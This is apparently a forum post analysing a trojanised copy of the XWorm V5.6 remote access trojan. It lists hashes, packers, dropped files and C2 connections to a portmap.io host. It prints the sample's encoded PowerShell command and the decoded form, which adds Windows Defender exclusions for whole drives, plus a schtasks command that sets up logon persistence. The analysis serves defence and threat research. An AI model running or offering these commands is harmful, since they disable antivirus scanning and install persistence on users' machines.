Jun 5, 2025 05:54 AM
(This post was last modified: Jun 5, 2025 05:58 AM by Bastille.)
![[Image: tPvzgXn.png]](https://i.imgur.com/tPvzgXn.png)
![[Image: S4dYfql.png]](https://i.imgur.com/S4dYfql.png)
Tool shared : XWorm V5.6 (BroadCom Article)
Quote:May 21, 2024
XWorm RAT (Remote Access Trojan)
- Sold as Malware-as-a-Service (MaaS), popular in cybercrime forums & Telegram.
- Current public version: v5.6 (seen active in 2024).
- Many cracked/backdoored versions circulating.
A new v5.6 variant of the XWorm malware has been observed in the wild. The malware is distributed under the disguise of various applications, games or adult content, with the binaries spread through either online sharing repositories or via torrent downloads. XWorm has miscellaneous capabilities including keylogging, data theft, download of additional arbitrary payloads, RAT functionalities and others.
The Github repo has been removed, but I've git cloned it few days ago.
File downloaded : "XWorm V5.6 @[REDACTED].zip"
Size of the archive : 24.2MB
MD5 Hash : 76bae88272302cc6324809a89cb02a12
SHA256 Hash : 139bdaadb2ac0c6912571bd6075e1f217ce16267cbda3579ff8613d62ccafb04
VirusTotal Report : https://www.virustotal.com/gui/file/139b...04/details
Detection : 0/65
The file is not detected as malicious mainly because it is a password-protected ZIP archive. In such cases, VirusTotal can’t do much, as this is a technique frequently used by malicious actors to trick victims.
1. OVERVIEW
The zip archive contains many files, I've checked most of them, 2 DLL are flagged as malicious, the .bat file contains nothing really interesting. On VirusTotal all of these files are associated with other XWorm archive files, so they seem to be common to it.
![[Image: xQdEyAJ.png]](https://i.imgur.com/xQdEyAJ.png)
The most interesting file :
- - XWorm.exe- VirusTotal report : https://www.virustotal.com/gui/file/f373...36617f039a
![[Image: 1F3wWhg.png]](https://i.imgur.com/1F3wWhg.png)
In this sample, we can see several layers of .NET packers being used (dotNetProtector, Dotfuscator, Goliath, Babel, ConfuserEx, SmartAssembly).
- These packers are mostly free or easily pirated and commonly used in malware builders or by beginner threat actors.
- The goal is to achieve FUD (Fully Undetectable) in scantime by stacking multiple packers to evade static detections (YARA, AV).
- This technique is widespread in commodity malware such as stealers, RATs (like XWorm), and builders circulating in underground forums.
While effective against simple antivirus engines, this kind of multi-packing is considered basic obfuscation — advanced actors typically use custom or polymorphic packers with in-memory unpacking and anti-analysis features.
As there are many packers used and that I don't want to waste time unpacking every layer, we'll jump straight to the dynamic analysis part.
On VirusTotal, in the "Relations" tab, we can see that many files are dropped, and two of them are flagged as malicious :
- config.exe (39/78)
- RunetimeBroker.exe (37/71)
![[Image: aL7uvwO.png]](https://i.imgur.com/aL7uvwO.png)
There is an encoded powershell command executed :
Code
"pwsh.exe" -EncodedCommand PAAjAHMAbgBhACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AbgB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAbgB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAdwBmACMAPgA=I've used the following website to decode : https://www.base64decode.org/ , don't forget to choose "UTF-16LE" when you want to decode base64 encoded powershell commads, here is de decoded part :
Code
<#sna#>Add-MpPreference <#mny#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#vnx#> -Force <#zwf#>We can remove the content between the < >, it's used to trick detection tools such as YARA :
Code
Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -ForceThis command adds the whole disk to the exclusion path, meaning Windows Defender will not scan the dropped files.
2. DROPPED FILES
[config.exe]
Filename identified as : XWorm.exe
MD5 hash : 062213ce89d21085fbde03ea3c9a3fce
SHA2 hash : 26fb7f32baefb3e04409782a0b024feb6f8e03ad73a6630ac692a61e429c8fc9
VirusTotal Report : https://www.virustotal.com/gui/file/26fb...1e429c8fc9
Similar to XWorm.exe above, except that it doesn't contain the PowerShell commands that drops the payload. Sounds to be a "legit" executable, executed once the payload (RuntimeBroker.exe) has been downloaded.
[RuntimeBroker.exe]
Filename identified as : svchost.exe
MD5 hash : 920883e2c0ca8c66be07543bc0b73907
SHA2 : dafc46e46a351729b7c418cceca124c3dbdd8062bda5c314adfc7dec35f535eb
VirusTotal Report : https://www.virustotal.com/gui/file/dafc...ec35f535eb
Packed the same way as the main XWorm.exe file and the file above.
> Sheduled Task creation detected :
Code
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C: sers\Bruno\AppData\Local\Temp\svchost.exe"' & exitConnection with :
TCP 193.161.XXX.XXX:22295 (notepad-22295.portmap.io)
TCP 193.161.XXX.XXX:7777 (notepad-22295.portmap.io)
The malware establishes TCP connections to 193.161.XXX.XXX on ports 22295 and 7777.
The part in parentheses (notepad-22295.portmap.io) is a reverse DNS entry — it points to portmap.io, a dynamic port forwarding service often used by threat actors to hide their real C2 servers and bypass network restrictions.
In this case, it's likely used for C2 communication and/or a reverse shell.
As the program seems to be working, it's qualified as a Trojan
![[Image: Q3weQXQ.png]](https://i.imgur.com/Q3weQXQ.png)
The next interesting step would be to try to remove the malicious payloads (PowerShell command and the dropped files) to see how it goes, but as the program is multi-packed I doubt it would be easy.


